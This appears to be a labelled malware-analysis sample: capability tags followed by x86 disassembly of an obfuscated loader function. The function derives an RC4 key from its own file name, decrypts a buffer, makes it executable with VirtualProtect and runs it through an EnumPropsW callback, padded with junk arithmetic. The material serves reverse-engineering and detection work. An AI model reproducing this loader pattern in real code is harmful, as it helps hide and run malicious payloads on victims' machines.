Function at 0x10002530
Capabilities:
Allocate or change rwx memory
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4ac
mov eax, dword [0x10024470]
xor eax, esp
mov dword [esp + 0x4a8], eax
mov eax, dword [0x1002584c]
lea ecx, [eax + 3]
mov dword [esp + 4], ecx
fild dword [esp + 4]
add eax, 2
mov dword [esp + 4], eax
fmul qword [0x100205c8]
mov eax, dword [0x10026844]
fld qword [0x10020590]
push ebx
fld st(0)
mov ebx, dword [ebp + 0xc]
fdivrp st(2)
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], 0
fiadd dword [esp + 0x10]
fdivr qword [0x100205c0]
fsubp st(1)
fstp dword [0x10025848]
cmp eax, 0x73444c
je 0x100025ae
mov eax, 1
mov dword [0x10026844], eax
push eax
lea edx, [esp + 0x4c]
push edx
push 0x10020310
lea eax, [esp + 0x50]
push eax
push 3
call sym.fvoucazw.dll_gmqYTkEPkfmLtKD
mov cl, byte [eax]
add esp, 0x14
push 0x1c
lea edx, [esp + 0x48]
push edx
push 0x10025848
mov byte [0x10026720], cl
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov ecx, dword [esp + 0x48]
push 0x104
lea eax, [esp + 0x274]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [0x1002584c]
mov eax, 0xf4d2a239
imul ecx
add edx, ecx
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x2176
mov dword [0x1002584c], eax
mov eax, 2
fild dword [0x1002584c]
fmul qword [0x10020590]
fstp dword [esp + 0x10]
fld dword [esp + 0x10]
fsub qword [0x100205b8]
fadd qword [0x100205b0]
fstp dword [esp + 0x10]
fld1
fstp dword [esp + 0xc]
lea ecx, [ecx]
fld dword [esp + 0x10]
test al, 1
je 0x10002662
fld dword [esp + 0xc]
fmul st(1)
fstp dword [esp + 0xc]
shr eax, 1
je 0x1000266e
fmul st(0), st(0)
fstp dword [esp + 0x10]
jmp 0x10002650
push 0x104
fstp st(0)
fld dword [esp + 0x10]
lea ecx, [esp + 0x274]
push ecx
fstp dword [0x10025848]
lea edx, [esp + 0x170]
push 0x104
push edx
call fcn.1000763d
add esp, 0x10
lea eax, [esp + 0x270]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.IndexerVolumeGuid
lea ecx, [esp + 0x274]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x1002585c], eax
lea eax, [esp + 0x168]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
fld dword [0x10025848]
fsub qword [0x10020590]
fstp qword [esp + 0x10]
fild dword [0x1002584c]
fmul qword [0x100205a8]
fsubr qword [0x100205a0]
call fcn.1000e520
fsubr qword [esp + 0x10]
lea eax, [esp + 0x168]
lea edi, [eax + 1]
fstp qword [0x10026850]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10002718
lea ecx, [esp + 0x168]
push ecx
sub eax, edi
lea edx, [esp + 0x274]
push edx
mov dword [0x10026858], eax
lea eax, [esp + 0x3b0]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x3b8]
push ecx
push 0x10020330
call fcn.1000796f
add esp, 0x18
lea edi, [esp + 0x10]
mov dword [esp + 0x10], 0x10020334
call fcn.10001880
call dword [sym.imp.KERNEL32.dll_GetVersion]
movzx edx, ah
mov dword [0x1002585c], eax
movzx eax, al
add edx, eax
push 8
mov dword [0x10025850], edx
call fcn.10005895
mov dword [eax], 0
or byte [eax], 0xf3
xor ecx, ecx
mov dword [0x10026834], eax
mov eax, dword [0x10026828]
add esp, 4
test eax, eax
sete cl
imul eax, eax, 0x7f
imul ecx, dword [0x1002584c]
lea ecx, [ecx + ecx*2]
add ecx, ecx
add ecx, ecx
xor eax, 0xffffb24e
add ecx, ecx
sub ecx, eax
lea edx, [esp + 0x270]
push edx
lea eax, [esp + 0x20]
push eax
mov edi, esi
mov dword [0x1002584c], ecx
call fcn.10001fc0
xor eax, eax
add esp, 8
lea ecx, [esp + 0x20]
push ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call dword [sym.imp.COMDLG32.dll_ChooseColorA]
cmp eax, 1
jne 0x1000282d
mov edx, dword [esp + 0x2c]
push edx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x2c]
mov dword [0x10026878], eax
mov ecx, 0xa
mov esi, str.ZMTZgOuCmkvNDbovXkTSyOKzEYjCJoUkLxpXjGKG
lea edi, [esp + 0x60]
rep movsd dword es:[edi], dword [esi]
push 0xda
lea ecx, [esp + 0x8e]
push 0
push ecx
movsw word es:[edi], word [esi]
call fcn.1000daf0
lea edx, [esp + 0x6c]
add esp, 0xc
push edx
call sym.fvoucazw.dll_rujkxydafjkjratl
mov edx, dword [0x10026828]
xor edx, 0x158
add esp, 4
xor eax, eax
sub edx, 0x8c40
mov dword [ebx + eax*4], eax
inc eax
cmp eax, 0x100
jb 0x10002877
mov edi, dword [0x10026858]
fld qword [0x10020598]
mov dword [esp + 0xc], 0
mov esi, 2
lea ecx, [ebx + 8]
jmp 0x100028a6
mov edx, dword [0x1002584c]
fst qword [0x10026850]
test edx, edx
jg 0x100028bc
fld dword [0x10026838]
fstp dword [0x10025848]
mov eax, dword [ecx - 8]
mov dword [esp + 0x10], eax
xor edx, edx
lea eax, [esi - 2]
div edi
movsx eax, byte [esp + edx + 0x168]
add eax, dword [esp + 0x10]
add eax, dword [esp + 0xc]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [esp + 0xc], eax
mov dword [ecx - 8], edx
mov edx, dword [esp + 0x10]
mov dword [ebx + eax*4], edx
fst qword [0x10026850]
mov eax, dword [ecx - 4]
mov dword [esp + 0x10], eax
xor edx, edx
lea eax, [esi - 1]
div edi
movsx eax, byte [esp + edx + 0x168]
add eax, dword [esp + 0x10]
add eax, dword [esp + 0xc]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [esp + 0xc], eax
mov dword [ecx - 4], edx
mov edx, dword [esp + 0x10]
mov dword [ebx + eax*4], edx
fst qword [0x10026850]
mov eax, dword [ecx]
mov dword [esp + 0x10], eax
xor edx, edx
mov eax, esi
div edi
movsx eax, byte [esp + edx + 0x168]
add eax, dword [esp + 0x10]
add eax, dword [esp + 0xc]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [esp + 0xc], eax
mov dword [ecx], edx
mov edx, dword [esp + 0x10]
mov dword [ebx + eax*4], edx
fst qword [0x10026850]
mov eax, dword [ecx + 4]
mov dword [esp + 0x10], eax
xor edx, edx
lea eax, [esi + 1]
div edi
movsx eax, byte [esp + edx + 0x168]
add eax, dword [esp + 0x10]
add eax, dword [esp + 0xc]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [ecx + 4], edx
mov edx, dword [esp + 0x10]
mov dword [ebx + eax*4], edx
fst qword [0x10026850]
mov dword [esp + 0xc], eax
mov eax, dword [ecx + 8]
mov dword [esp + 0x10], eax
xor edx, edx
lea eax, [esi + 2]
div edi
movsx eax, byte [esp + edx + 0x168]
add eax, dword [esp + 0x10]
add eax, dword [esp + 0xc]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [ecx + 8], edx
mov edx, dword [esp + 0x10]
mov dword [ebx + eax*4], edx
fst qword [0x10026850]
mov dword [esp + 0xc], eax
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x10], eax
lea eax, [esi + 3]
xor edx, edx
div edi
movsx eax, byte [esp + edx + 0x168]
add eax, dword [esp + 0x10]
add ecx, 0x20
add eax, dword [esp + 0xc]
mov dword [0x1002584c], 0x194
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [ecx - 0x14], edx
mov edx, dword [esp + 0x10]
mov dword [ebx + eax*4], edx
fst qword [0x10026850]
mov dword [esp + 0xc], eax
mov eax, dword [ecx - 0x10]
mov dword [esp + 0x10], eax
xor edx, edx
lea eax, [esi + 4]
div edi
movsx eax, byte [esp + edx + 0x168]
add eax, dword [esp + 0x10]
add eax, dword [esp + 0xc]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [ecx - 0x10], edx
mov edx, dword [esp + 0x10]
mov dword [ebx + eax*4], edx
fst qword [0x10026850]
mov dword [esp + 0xc], eax
mov eax, dword [ecx - 0xc]
mov dword [esp + 0x10], eax
xor edx, edx
lea eax, [esi + 5]
div edi
add esi, 8
movsx eax, byte [esp + edx + 0x168]
add eax, dword [esp + 0x10]
add eax, dword [esp + 0xc]
and eax, 0xff
mov edx, dword [ebx + eax*4]
mov dword [ecx - 0xc], edx
mov edx, dword [esp + 0x10]
mov dword [esp + 0xc], eax
mov dword [ebx + eax*4], edx
lea eax, [esi - 2]
cmp eax, 0x100
jb 0x100028a0
xor eax, eax
fstp st(0)
xor ecx, ecx
test edi, edi
jne 0x10002ab5
call fcn.10001d50
jmp 0x10002bcc
mov edx, dword [esp + 0x18]
xor esi, esi
cmp dword [edx], eax
jbe 0x10002b01
mov dword [0x1002584c], 0xbab
inc eax
and eax, 0xff
mov edx, dword [ebx + eax*4]
add ecx, edx
and ecx, 0xff
mov edi, dword [ebx + ecx*4]
mov dword [ebx + eax*4], edi
mov dword [ebx + ecx*4], edx
mov edi, dword [ebx + eax*4]
add edi, edx
and edi, 0xff
mov dl, byte [ebx + edi*4]
mov edi, dword [esp + 0x1c]
xor byte [esi + edi], dl
mov edx, dword [esp + 0x18]
inc esi
cmp esi, dword [edx]
jb 0x10002ac9
mov ecx, dword [edx]
mov edi, dword [esp + 0x1c]
lea eax, [esp + 0xc]
push eax
push 0x40
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
fld qword [0x10020590]
call fcn.1001b4a2
fstp dword [esp + 0x10]
fild dword [0x1002584c]
call fcn.1001b4a2
fstp dword [esp + 0x18]
fld dword [esp + 0x18]
fld dword [esp + 0x10]
fld st(0)
fsubp st(2)
fdivp st(1)
fstp dword [0x10025848]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x10
mov dword [0x10026844], eax
call fcn.10005895
mov edx, dword [0x10026844]
add esp, 4
push edx
mov esi, eax
lea eax, [esp + 0x37c]
push str.zwjlrvqoxyvxva__u
push eax
mov dword [esi], 0x1a
call fcn.10005cc7
mov ecx, dword [esi + 0x14]
imul ecx, dword [0x10025854]
add esp, 0xc
test ecx, ecx
je 0x10002b9a
add esi, 0xc
mov dword [0x1002685c], esi
jmp 0x10002ba4
mov dword [0x10025850], 0x104
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.USER32.dll_GetGuiResources]
mov edx, dword [0x10026864]
push 0x10001b00
push edx
mov dword [0x10026844], eax
call dword [sym.imp.USER32.dll_EnumPropsW]
call edi
mov ecx, dword [esp + 0x4b4]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10005bbc
mov esp, ebp
pop ebp
ret